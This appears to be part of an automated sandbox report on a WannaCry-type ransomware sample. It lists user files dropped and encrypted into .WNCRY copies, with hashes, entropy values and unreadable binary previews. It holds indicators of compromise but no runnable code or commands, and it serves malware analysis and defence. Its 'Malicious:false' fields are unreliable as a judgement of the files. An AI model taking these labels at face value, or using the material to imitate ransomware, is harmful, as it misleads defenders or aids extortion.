                                      Preview:j[......E..9Ah..CX.'](gCh...n..%)Z.......,x.j.....y.>..P....%P...0...-.J(.......7...I....j.h.".BV.h.qQ...8......2.nJ$.B.{S.....t. ..xn...)..".v,......g.'.r.Q.....b..;..*\.;...I...x..Y..O.\`o..J{......d.......V...S.0.j..%).J.4.T9[G.r....GL|F...e.[*y..T.Q......'&...u...*.."..].....[..(U.......Y..Q$.....E..i.`.q0X....k._._....o(.D.B.k`. -9....z..x...W.j..........F..!..%.@.....d.U.....v.aY..C.W..*..1.....e.......].b..;9~`xM.rw..s.b'H.6.~.z...&...).D.>Y8M.3.:.....u...I%.w.......VD.L-.T.......K.*"E.......S`...&bH!0.*..H..].:W.D.vr.F..5G.W.P..^r..UB.M........4n..fW..O...$.;@,_.&..*...Ds...~.j.....o.O...-p.u..../$.{]..e.D..q.bp... .>.hd...k.YQ.;...SD.]Y..nr`...?...Ph:]F.o....(k&.2nXD<@. NA...J.=..5.H..IHSi..u.b?&..\zF)d.&".D.7...-..j9.6.".....c,T...<.....D4...Qy8....}....zw.\Z........9...klD.E...)3B...AH.X.=....(.y.:.....`.....&..R%.O'.....(.A#P..........0-.aO6:v.p...T...`..Z.=.q....E..6....ms.:.......CR.....w...6..F..p..i.0..!.._am.....4.

                                      C:\Users\user\Desktop\CURQNKVOIX\CURQNKVOIX.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.838062694923693
                                      Encrypted:false
                                      SSDEEP:24:bknwqoCuZPzRb5GjTjtphCcO+lv3qqC1LmA/lUrCht+VY+0kpHgjBjZAfS4R7zWb:bknFy6Hwv/sclvLkpAjBlATROgF+1mZO
                                      MD5:DFD48213D30857CB6D9C3B44178BEF5F
                                      SHA1:040A349135E75983852C64C84236D780C4B30B86
                                      SHA-256:FE7751DD9F72EB16FC2A4E9AB08B9E1E61E9FBFA71CD7AB883311D44F6FD0753
                                      SHA-512:D7B9904E31FE03549886F8324BA755D3ED44ED7CAF7748A1AA001BD2DEF2860C640DD70F6FB4349C49DA2150A28247EE2BEA9E1CD69CDBFF0410CA6F362BE931
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....,u..3....1{R..}./.'....I+..j]O,.'.Z%......._@<&./.....=..1}........7.=..$hQU....u)..d.9..V.6.}MK.....r..._.z.7..G...N ..b......../>.`..l...PA`.;7.L.. .6..~..>v..I..I9.ic..p.....}.&p.....x..-@s....m..}(GYY...954..ln....;..s....,..pL.$`.F..A]..?............@.9.....dA.X{.V..P..3...>...F....|.vB"........F.1/v........n.......?.\.6..ZC.0I.T...V.T.;.YG4._Z...2I.V..}U>...<.7....u.V..{@... ...{....O.-:{*6"...A.<...-.....N...oV&.(..U..WT.../j.V..(.3{...m..a.f..L`.s....$.#....C.'..u;!-!Y...y.4..;.e...43.aF7.......ci,w..f+....f.....#..4.......:}..|9......8J....w.<7}_..^1...>t}t...6.....6B.>.l.S..~ou.C.r't.B.HE<.....<...y.P.....w.x....9c..E.rv.e....%..=.m~Y\(8.....U..r...2."$e^.....2.Y.s3.-Z....z.h..G..w@@{.f........(........c..y...o.....m.b./F...*{c.....WJF.-........n.0...fP.)..Q.O./U....v k...V*..}..b..Bx..N>:...G.......Y.Am|..Y...N.....dA.Q.a.{.)...I.rc..... O..ch....]..^..a..1.L.S.{.Q.....$CY.R...?.dJ..i".n$Q.O\<+.(...7....L...+.l.

                                      C:\Users\user\Desktop\CURQNKVOIX\CURQNKVOIX.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.838062694923693
                                      Encrypted:false
                                      SSDEEP:24:bknwqoCuZPzRb5GjTjtphCcO+lv3qqC1LmA/lUrCht+VY+0kpHgjBjZAfS4R7zWb:bknFy6Hwv/sclvLkpAjBlATROgF+1mZO
                                      MD5:DFD48213D30857CB6D9C3B44178BEF5F
                                      SHA1:040A349135E75983852C64C84236D780C4B30B86
                                      SHA-256:FE7751DD9F72EB16FC2A4E9AB08B9E1E61E9FBFA71CD7AB883311D44F6FD0753
                                      SHA-512:D7B9904E31FE03549886F8324BA755D3ED44ED7CAF7748A1AA001BD2DEF2860C640DD70F6FB4349C49DA2150A28247EE2BEA9E1CD69CDBFF0410CA6F362BE931
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....,u..3....1{R..}./.'....I+..j]O,.'.Z%......._@<&./.....=..1}........7.=..$hQU....u)..d.9..V.6.}MK.....r..._.z.7..G...N ..b......../>.`..l...PA`.;7.L.. .6..~..>v..I..I9.ic..p.....}.&p.....x..-@s....m..}(GYY...954..ln....;..s....,..pL.$`.F..A]..?............@.9.....dA.X{.V..P..3...>...F....|.vB"........F.1/v........n.......?.\.6..ZC.0I.T...V.T.;.YG4._Z...2I.V..}U>...<.7....u.V..{@... ...{....O.-:{*6"...A.<...-.....N...oV&.(..U..WT.../j.V..(.3{...m..a.f..L`.s....$.#....C.'..u;!-!Y...y.4..;.e...43.aF7.......ci,w..f+....f.....#..4.......:}..|9......8J....w.<7}_..^1...>t}t...6.....6B.>.l.S..~ou.C.r't.B.HE<.....<...y.P.....w.x....9c..E.rv.e....%..=.m~Y\(8.....U..r...2."$e^.....2.Y.s3.-Z....z.h..G..w@@{.f........(........c..y...o.....m.b./F...*{c.....WJF.-........n.0...fP.)..Q.O./U....v k...V*..}..b..Bx..N>:...G.......Y.Am|..Y...N.....dA.Q.a.{.)...I.rc..... O..ch....]..^..a..1.L.S.{.Q.....$CY.R...?.dJ..i".n$Q.O\<+.(...7....L...+.l.

                                      C:\Users\user\Desktop\CURQNKVOIX\SQRKHNBNYN.png

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.804952022809881
                                      Encrypted:false
                                      SSDEEP:24:m89+lJN+9NA4YGuNW+xf6xslpRtq98Eu96l6PW55AW1v0jpl6T64N:D9GJNIuk6/lp29PZ0PWjAW1v3T64N
                                      MD5:20C4CE8A0C690D6C3B501CE26FAE7639
                                      SHA1:C0112D2D9C5665E7396137561D465B813D6DC312
                                      SHA-256:A61FF7A219F3031577F9951592CB6D2E89E5647386B3C0A9A58D8C2EDA1E98F3
                                      SHA-512:949E4AB554A981BF961505230B9E0B974D847C0A5C300831430AC8184383335114DB3DFFFF0D4F98F2A56589311E9D0E4B6213B45613F6BBAA66BC95C0417FF1
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:,'.e........b.NK.7....;!.$LX....]N-.....L."..&.u..rd......!I.v.J|...~7.....x.;..Z.S;.Ux...E.>.x.&pO.'S.UA.......J6N.=..{.~P.Z..A..*h..s...........F...PO....dY.`(...k.)}....O.....t..5..JkN.dv..@..Y......]...^F.7r.x%.U)z.<.KX.Xc"....N.x.......0r.A ..iF..(...P*..:.C..o.........%v.._...........Y7.|P............z..}.....C].-.T.oG.m.ap...q<.".c.......<.......@.....Q....[h.(o....~..0..M..%...u...m.`g.0.....;)P..}l.m^.....I....v........1..._.PNp$.....}h.....6g+.O....)..j...T..._..W....=t..0T.0...F.}y...o..eT.....i.(...(t..N`..l.].t..E.d..j.A..,Xt.....,5).W..A.w\HD(..]..A...t..8.?..'.eG.....[Y.........;.4...X8....8V.l....^{JM'd.=..~%#]U.,....c..$7...u...>8.q...g.Y..H.....j?..(....1/!.<(l.1.....c.uZ$M.. {Y.L.m.......%.E6.......X. Fb+x5../....'Y.k<..P....>..mZ.>..q#Ph..E_..IzA..C.V...$P...<.@.R...qO&_..y.n.P....s&2V...D..^G...r.....p6..!q...C.!...H=.y..u...!.[A...j..9.2.?Zk....?.....i.O..%..r+....^m..y...E...".d.AN.......D.o......B.9.n.6.

                                      C:\Users\user\Desktop\CURQNKVOIX\SQRKHNBNYN.png.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.849202419310408
                                      Encrypted:false
                                      SSDEEP:24:bkd8upt6h9/vZp8i+9IH2H/zZEPj5Zgz0fmTOyd+A7lnP0OsCDxMUJC9LZWOeP:bkd/pgvZdaqiELHgztbd+A7ZPVDxyWr
                                      MD5:44B5F56B2EE05FA96A67D82037CDE887
                                      SHA1:D6371CF1C8E63AF4F9300290F885D3314DF6B431
                                      SHA-256:B413A34ED7196403D49A84A3FE8D7F5687BD19A9FC2794F4697DF7BA99E40B49
                                      SHA-512:BB19094C546AEA936C9D88E8D02D65C17D8BB3B39526B8F977F05CBAA9D9601E9F657B00EC7755BCECE30224D992E73412809054E0427E5890300ACBA3512C81
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.........0jK{U...4..-.V........g.X...;.zA...v.}e5:.....C.D!..1....2".....0.C[..D;.&Uo.\S:Bb<..U....Z|.CH;.B.k.......(.d...}.W...v=wC.*.B p.wZ..<.!...a.v_....5..{..J4.... .5m..z...R.^.R .y.c.....\.<8+...f.z.Ck)Q.P.z..l......iQ8.B..1.b..:..J].E.0.....(.............}.7.i.u..}.Z[....\]...T..(3.P.Q.Y...h'[.n)...4m..^....M5.7c.6.8..CW.He".W...(e.....a.F...T^4b.n.x.P4.S*:..F..V.~..w.E.%.,X~...&@.d.q...U...>....U.t.....X!.FQ.i..).y.M..ihZg`?..IW..y..o'.i.n.\.. 5X...1.+2..s.$.6..5K...x..(];..{!..P....Jat.\.I.{Oe.FB.a.T......9.a...O........U.b..o..y.6)*......fc'.....P..L!0.:5...A....j[.....5}.=L!dj.SV.D....=.'.h....c.......O%.....[......)..>5L.&..P....."qW..!...x+XwA.A.T~&0$U..M.?..:.0[(..O..2...:.\h...[..........#...z..W.,.Fk.7...A..,...%.}.......H.k=.......6k...ZE.8 o.t..OF..m.v.&..3l.&......J.L.......G.V):Q....+N|..*/..}8.M%....]sQ).M..<......Wa.*...oe.VS........m.6$+lx.rWq'..f.U....K..._..zp........MoK....@..z.;>b.|1...9.'.@..5.\.)...p<..J...=x.

                                      C:\Users\user\Desktop\CURQNKVOIX\SQRKHNBNYN.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.849202419310408
                                      Encrypted:false
                                      SSDEEP:24:bkd8upt6h9/vZp8i+9IH2H/zZEPj5Zgz0fmTOyd+A7lnP0OsCDxMUJC9LZWOeP:bkd/pgvZdaqiELHgztbd+A7ZPVDxyWr
                                      MD5:44B5F56B2EE05FA96A67D82037CDE887
                                      SHA1:D6371CF1C8E63AF4F9300290F885D3314DF6B431
                                      SHA-256:B413A34ED7196403D49A84A3FE8D7F5687BD19A9FC2794F4697DF7BA99E40B49
                                      SHA-512:BB19094C546AEA936C9D88E8D02D65C17D8BB3B39526B8F977F05CBAA9D9601E9F657B00EC7755BCECE30224D992E73412809054E0427E5890300ACBA3512C81
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.........0jK{U...4..-.V........g.X...;.zA...v.}e5:.....C.D!..1....2".....0.C[..D;.&Uo.\S:Bb<..U....Z|.CH;.B.k.......(.d...}.W...v=wC.*.B p.wZ..<.!...a.v_....5..{..J4.... .5m..z...R.^.R .y.c.....\.<8+...f.z.Ck)Q.P.z..l......iQ8.B..1.b..:..J].E.0.....(.............}.7.i.u..}.Z[....\]...T..(3.P.Q.Y...h'[.n)...4m..^....M5.7c.6.8..CW.He".W...(e.....a.F...T^4b.n.x.P4.S*:..F..V.~..w.E.%.,X~...&@.d.q...U...>....U.t.....X!.FQ.i..).y.M..ihZg`?..IW..y..o'.i.n.\.. 5X...1.+2..s.$.6..5K...x..(];..{!..P....Jat.\.I.{Oe.FB.a.T......9.a...O........U.b..o..y.6)*......fc'.....P..L!0.:5...A....j[.....5}.=L!dj.SV.D....=.'.h....c.......O%.....[......)..>5L.&..P....."qW..!...x+XwA.A.T~&0$U..M.?..:.0[(..O..2...:.\h...[..........#...z..W.,.Fk.7...A..,...%.}.......H.k=.......6k...ZE.8 o.t..OF..m.v.&..3l.&......J.L.......G.V):Q....+N|..*/..}8.M%....]sQ).M..<......Wa.*...oe.VS........m.6$+lx.rWq'..f.U....K..._..zp........MoK....@..z.;>b.|1...9.'.@..5.\.)...p<..J...=x.

                                      C:\Users\user\Desktop\CURQNKVOIX\UOOJJOZIRH.mp3

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.819840368383161
                                      Encrypted:false
                                      SSDEEP:24:d/hNZMFDcMFxJhThGnzWW8QeQ4gfps+osFktHTj7t/3zWsjxp/Dol:d/6FDZxJh86zPgamANjWsjxBDC
                                      MD5:615447C41C86A76F7670963B4FB45279
                                      SHA1:075FDA8A41AE7E0803D31E9913F12F5937A1FE72
                                      SHA-256:4F7B7B93754CE18DAF0C5F77D713C3BFCD0801C2A41A639840C8103F2D6BF222
                                      SHA-512:39AE5569D6F0BEEF64E917857BEF0C0B2362F3BA8E5FD6F6A12B5DF40D255900C97D0C389FD814E3663FB273A90EB59D9F7B4F1E7181A8068EE3EAE210F7053C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.......%`...*..|....%0..N%..c........wY\.>.........y.[../(.......>..;.k ......b...Vs.:g.i{......;B...F...3.$..^.y....f...3.Ce..G...1..E..,.)@....b..%.....k.....0S.;.9.2?.....T}..n5#.K.7../C.H.._.m.`G..-.e.E..2.....I....>f..{.....%.$...........p..{.=..8/zm.....=rw.!..C..v8..`.-.;np...x?}./.^..5....d....b.d0....qX..N.j|+ux.4..6.pm.=.p.t...i.r..;._..&....-.De.t:.'.>PS..]Ij.@D..]..c...O..9...>.:....S.Llz.:......NY.<C-......Y/.K=..F.7....#p.-..<.XD..?1....s..'.i"..ou................6..(ZP.3{.bI.j_+......s...^.g......W/...j.4.--i.r..g..Q,....&.vy."6......q.f..Tb....{!....o.hpQK.`.vn.)....H2=t..&t)l+......uV#....M..6.$+Rk.......J.l.......U.V-...E)tB.^DN.....*..1.......@1./.r...N.....Z-:.;.U..x^..!....9........r..N.t....7.....|"&.>.V..=A...&.up..i.....t..................cX......k....}.N.L....=z....4.de....1........?o.vA....3{.zz=.X..u.xU!Tb..j...F.8...1.v..\X.0AkBY..>.Q.Vm.......l.....I.. .z..sC.8..:. S.....{.v0.@.t.....3i.;....ZF.. ..

                                      C:\Users\user\Desktop\CURQNKVOIX\UOOJJOZIRH.mp3.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.849353771219088
                                      Encrypted:false
                                      SSDEEP:24:bkAzEh4B9D2ML4Avk36ISwYNBRrXCNkhgU3xaE2+oHY84sllpi2tb9q:bkAzEKLD2s44q6IO3rXVx308skG9q
                                      MD5:A04F8858DC5B2A9A181150F3597CD275
                                      SHA1:DB47AB16E98F573997B7118823872E7112F59797
                                      SHA-256:C7DB6D374143DA120550FB107F203A57FE42A3D6B5C4F89DC1842BFDED525459
                                      SHA-512:4BD0A3A74F132A873B338CCACB44EBDCB420540E3F8D3817C65FBFEA0BFAB929601BFC2F3F927D66FC0C1D4DD4710838CC6DA57FB3832CC722362B2CE7C77238
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....u..I..@7....C...../..0X......7.c!Cm.#..|..-.[-y..a.....*..8.....~3.1........}X.....Dc.D..)!..A..4/f..Co.....O.B".t%.XL26N..T.u.._m.QS.. ........@.1p.s....N......4?...+!..........R;..Y..d.&.B).=........l7i.....=D...T.`...c.../M.c..=.>0E.. h..IK................'\"S.6...V/.i.p..f.&.m.\7^2Eg.o..%Iy../..+f'M.R...5..a.K?h..O+.*.d..':..n....M...45..\^X..cQ.;.....e....2O.4EA.....6$..m.}..Y..........0.%. ...R]Ii...uw..?.2/...8....(d.O.&.3.W...>..z..i.bD.....F......#4...\+.%....>.*...B...zn...|.....2YY...F...C`i......H...Rf..q....Q..a#....v..".....:..Q...n...dHS..&..!T.a......7........6.L..4].......a+..t}ypO.xY.(..)..-.K.O...75u.Er....&A..L.+....u<.Y5.q.......Qu....Lr...-z]v.+.[...x.|w.O.Xt.).J.......^)......1(.q.d.!...a.rN.....T.%y..1.`<n..S.....X.5>...)....A3^...*~?4.y.K|.K.!Z...L.....1.3;p/..+.....G....R.8.D.r....C....co.*.n..M..G.v81.,.mh.s...)C.g.KSW.?..eTI.>.).:TBC{<...vS{..CKD.S.u..uim..^<,4.^a....z}pk.A...W.ZK...W..Knv.N.J

                                      C:\Users\user\Desktop\CURQNKVOIX\UOOJJOZIRH.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.849353771219088
                                      Encrypted:false
                                      SSDEEP:24:bkAzEh4B9D2ML4Avk36ISwYNBRrXCNkhgU3xaE2+oHY84sllpi2tb9q:bkAzEKLD2s44q6IO3rXVx308skG9q
                                      MD5:A04F8858DC5B2A9A181150F3597CD275
                                      SHA1:DB47AB16E98F573997B7118823872E7112F59797
                                      SHA-256:C7DB6D374143DA120550FB107F203A57FE42A3D6B5C4F89DC1842BFDED525459
                                      SHA-512:4BD0A3A74F132A873B338CCACB44EBDCB420540E3F8D3817C65FBFEA0BFAB929601BFC2F3F927D66FC0C1D4DD4710838CC6DA57FB3832CC722362B2CE7C77238
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....u..I..@7....C...../..0X......7.c!Cm.#..|..-.[-y..a.....*..8.....~3.1........}X.....Dc.D..)!..A..4/f..Co.....O.B".t%.XL26N..T.u.._m.QS.. ........@.1p.s....N......4?...+!..........R;..Y..d.&.B).=........l7i.....=D...T.`...c.../M.c..=.>0E.. h..IK................'\"S.6...V/.i.p..f.&.m.\7^2Eg.o..%Iy../..+f'M.R...5..a.K?h..O+.*.d..':..n....M...45..\^X..cQ.;.....e....2O.4EA.....6$..m.}..Y..........0.%. ...R]Ii...uw..?.2/...8....(d.O.&.3.W...>..z..i.bD.....F......#4...\+.%....>.*...B...zn...|.....2YY...F...C`i......H...Rf..q....Q..a#....v..".....:..Q...n...dHS..&..!T.a......7........6.L..4].......a+..t}ypO.xY.(..)..-.K.O...75u.Er....&A..L.+....u<.Y5.q.......Qu....Lr...-z]v.+.[...x.|w.O.Xt.).J.......^)......1(.q.d.!...a.rN.....T.%y..1.`<n..S.....X.5>...)....A3^...*~?4.y.K|.K.!Z...L.....1.3;p/..+.....G....R.8.D.r....C....co.*.n..M..G.v81.,.mh.s...)C.g.KSW.?..eTI.>.).:TBC{<...vS{..CKD.S.u..uim..^<,4.^a....z}pk.A...W.ZK...W..Knv.N.J

                                      C:\Users\user\Desktop\CURQNKVOIX\VAMYDFPUND.jpg

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.826280773067317
                                      Encrypted:false
                                      SSDEEP:24:TkB54doyVVQ1x9enaiQ4fX7LmAkZKJcfM8k7:K4hVVQJwa8wKw9k7
                                      MD5:A654A6D4592A74F8F153E38ED4F1D53E
                                      SHA1:8B92F05D32680598140008BFCEAFA772FA5501DB
                                      SHA-256:9DB7548A35E045E1AE75D50EE94991933DF47CBD8D0DBA9373B06D5B80705862
                                      SHA-512:4ED43E2319F98B2A76F4E29F98A3A8E36A22572AC89BCA22690F72B5A14B1ED474BDE110823D4976CD00FBA25F7CD4608045FDD1F2B96DE492A491CCE6AD4DD5
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.`T...p>..)....O].8w...Q.....wk..E...t_..*c..O....G..........kY.U.}..E.....>..0.c.[..y\..s.........J..XQX.W.....oo"..V..W..RC..W.z.F.DH...:...^v21....V..m`....fYv#7.O..#.].$ik2.HW/f..R..]..7D.)-H.uk..j.'*.<.......%<..V..x.1.q.{T.@..UN...8e..xU5..'.v...p...y.y'b.W..Hp.k0.z2..,j...*F..........!....Y"../....r..F...n.ruY../......{.....nu.x......C#.G:]..0F.pJ..qO.k.7....J.q.<..Y.s....4.I.4W.2S..e.LD.o...9....0...O+o.)...../.".(.<+Dw"{".%...6..LL.Ra.x.i.RGwS.....\..v....v\7.....,...&..oh".65x...=...|.s.\.r`.R... .._X..t.(*.>/......r...`....E'....@'.lLv.@../xg.`6.....mN.._q. ..K.=..X&.!.G.$gl.>...Q.S.M..%F.d..B+.e`....a+.....&...1.....:.T.^.k..*10.p...i......K.$.%...o...E..Z.w..._.......\.0W..............|....-U..c.+_..Nb...<6U.A....Jj....cL...E.D.x.D@.,.R..-oUq...2y...9.W.........`.,D.>O.?.M..[..f..-+.*`{.d..su.3K.e2.k...`;.%.=A.sX....L...A..#M..w.H..n...L.......L....."...?.......&9........9..J[.....@...?.3.../+.|.Xq.^U....;X.....n...b.EgH../

                                      C:\Users\user\Desktop\CURQNKVOIX\VAMYDFPUND.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.848688266597546
                                      Encrypted:false
                                      SSDEEP:24:bkJ+HCFc8Mr02nVsE7ufzJ/4mnonW5c1dJ8Ky+++Pl4uHd4DBFcG52phg5VO0mUs:bkJ+5bbJ7uLJ/4m8eQZH6cGiRf9fR
                                      MD5:9A891C2C699BF104AB3BE7ABEE831C32
                                      SHA1:E693E631731E7BAB607054F3398E2FDADF1BAA95
                                      SHA-256:F915D4CC03375263D33314F45F5CE673297E3F6FF74E2096634A6281570AFEB8
                                      SHA-512:706325DA12A7722D63923E711143BDD4F6BDFE922507392DEEA5157D3BAE6BC0B72D01C5B243CFF08DB5EAA0F5CC029E41113E2C2878790D0E135D6DF0B2B2D8
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....y..K.Q.....kG.XA.A....._6..R....X......;.(.q.X.h.._.F.8..N....s#fI.....gl#.F$.w....l.z...t.M....a.W*].\T{9\S[m?e....Ai........K..}..[=i..71...VF.=Yg..(.^..Z".t1..x.+t.C......k.t......7.[.\...v.O.N._].v.Q..x9E.....i@e...\..o.c....qD.=G..}..1..P|.............-.H.=..'|Db.<..G)w..V.|....XyK]..D.H.ja....e...B..hy.Z.......o..s.....y...Z>m(.8H .m.kNr..9:....pVh...E.......Y..C....w%.8.3@'..".0..T'.*.b.\...G.s).iw.:...N7)..s...B....@.........L]Q>.!G.......z.....P..9.k...z..@(x..Y..F.....y.....J..#..3[.vG?...2..G....b.............,B..w.?.....Q....Z..c..6.......=R...z.....r..<.f...!.4y..~.8VE...........m.U.l...l.A|....pH...B.H.WRd.#.....RnL.<.....k.\?..i...y./.p{J...],...FA.....]f....;.I9)..j..Z.j...y.... #...sR.......,.p..j'r3..J`...c..!.._H?.z.j...y..cN{.D.473.......@Z...L...s...0.e||&'...F..1mM...28.3....3.7...l......5... =tp}rt...a.).8..M..D.R..mA .2.D.$..h.L.+9t...}....UC-.o.W]...f\J..[E..E....j.9...}..xx.!..&J)3+.|..4C&@T..zc..4.<....4

                                      C:\Users\user\Desktop\CURQNKVOIX\VAMYDFPUND.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.848688266597546
                                      Encrypted:false
                                      SSDEEP:24:bkJ+HCFc8Mr02nVsE7ufzJ/4mnonW5c1dJ8Ky+++Pl4uHd4DBFcG52phg5VO0mUs:bkJ+5bbJ7uLJ/4m8eQZH6cGiRf9fR
                                      MD5:9A891C2C699BF104AB3BE7ABEE831C32
                                      SHA1:E693E631731E7BAB607054F3398E2FDADF1BAA95
                                      SHA-256:F915D4CC03375263D33314F45F5CE673297E3F6FF74E2096634A6281570AFEB8
                                      SHA-512:706325DA12A7722D63923E711143BDD4F6BDFE922507392DEEA5157D3BAE6BC0B72D01C5B243CFF08DB5EAA0F5CC029E41113E2C2878790D0E135D6DF0B2B2D8
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....y..K.Q.....kG.XA.A....._6..R....X......;.(.q.X.h.._.F.8..N....s#fI.....gl#.F$.w....l.z...t.M....a.W*].\T{9\S[m?e....Ai........K..}..[=i..71...VF.=Yg..(.^..Z".t1..x.+t.C......k.t......7.[.\...v.O.N._].v.Q..x9E.....i@e...\..o.c....qD.=G..}..1..P|.............-.H.=..'|Db.<..G)w..V.|....XyK]..D.H.ja....e...B..hy.Z.......o..s.....y...Z>m(.8H .m.kNr..9:....pVh...E.......Y..C....w%.8.3@'..".0..T'.*.b.\...G.s).iw.:...N7)..s...B....@.........L]Q>.!G.......z.....P..9.k...z..@(x..Y..F.....y.....J..#..3[.vG?...2..G....b.............,B..w.?.....Q....Z..c..6.......=R...z.....r..<.f...!.4y..~.8VE...........m.U.l...l.A|....pH...B.H.WRd.#.....RnL.<.....k.\?..i...y./.p{J...],...FA.....]f....;.I9)..j..Z.j...y.... #...sR.......,.p..j'r3..J`...c..!.._H?.z.j...y..cN{.D.473.......@Z...L...s...0.e||&'...F..1mM...28.3....3.7...l......5... =tp}rt...a.).8..M..D.R..mA .2.D.$..h.L.+9t...}....UC-.o.W]...f\J..[E..E....j.9...}..xx.!..&J)3+.|..4C&@T..zc..4.<....4

                                      C:\Users\user\Desktop\CURQNKVOIX\WKXEWIOTXI.xlsx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:OpenPGP Public Key
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.841889374627765
                                      Encrypted:false
                                      SSDEEP:24:IAc/J/SwO62BuSuqiEFOgAdkVijK1/40KfHnpVn:IAiSw12YSu3EFOgRijK1KfHnpV
                                      MD5:D25153018DCFE1231C088668B8B01C78
                                      SHA1:9B6A380B62CDF640830849E78AC40838B0E8F8B9
                                      SHA-256:F0A602F7B4E8ED02C9B69E45B82DD86A3DE973B770B352432E042F2FDA3A6A77
                                      SHA-512:C6DD3A989A3CE427D50A89C9591C2C02CE06D76766D08DF38C8280113062178486BF3764B23704D53EA25820643E0FA99CB0B5AA8658713D9179ADE66B61FDA7
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:......l._W.6y.G.r..v..|!h..@yC...|..:..]...PJ.a....F.B4..H.4....l0..........Z..l9Xw..7....L...X.8.3W.W.- 'C. CH;<f.W_!t...:.&}#..?...._..[#>.L.VI/....g.Q.7o.}a.G..CY..f^K....%r..A.....l9..m....... .~...N....9..w.^.=..>..OTV..).8.*......i.|.....C]..][D.....z.)...x.NqL.....N..n.u.b..w.U.^...l$"x.......*. .......V.......=K..~...Hr....~6.T)q....B.>.H>X..<3...kG....YI..A..uC.....\.U..z\.(...d..t.kaE%....zg.W...w..78..S1.m.Qd.=..-....X.al......k.. .O.Py.C..hIG.B..'I....a.^e.../U....Kc(...Y,._.....o(U..J.......V..T.d...i.o...7..ZBG.r.......*.DU.o.,....M[...DxD`p...,..v.]...a....(J...Pg.Kk....tO.<..........E.......T/..qxWr7r7S......\..q.2/.k....LK1Bfyq.A}..i......1l...pQ...1.....#..k*..,PS.m...O.gW.....i.......XY:...........lk16..G(..X."E....Ce..&+u[y8,...1.x..?.&.5&'<z.A....g...._...3=...9x...l.?|...R...7$....fY.!.....6Cb.R.o:x...Y..TxZ.].'.\_.....b..4i.......~kf.{.T.....e . y@c}8E......h...o.v-7.Zo....8)..."....4..|.$E.Hk..$

                                      C:\Users\user\Desktop\CURQNKVOIX\WKXEWIOTXI.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.831225845835948
                                      Encrypted:false
                                      SSDEEP:24:bkaWGVZ6YvDXRTrW5fwIv1LtkQhrHfPZNZEWnbPA+LQYrE+ozZBGv0BklU0kRCJU:bkCZ5XYlwIv1L5HnZcWnc03Q9BGv0Bki
                                      MD5:F2F991DEC7947B05BBA0A13BFBEAF8CA
                                      SHA1:ECC581E968A1A6C249FD63C4A8CDCFE4FFC9D946
                                      SHA-256:86690DA84388C9B0AF11687B42AAA6BC89866135A2799B33679F7362038BC2D4
                                      SHA-512:CAB7F90BE4FD5C97A772EF4D565FED3749C48A30C64AE0681936F7CC3820D649F74AB3FF78B9EC560D55631E873E8F7304768436B26773FB79005346BD2652C1
                                      Malicious:false
                                      Reputation:unknown
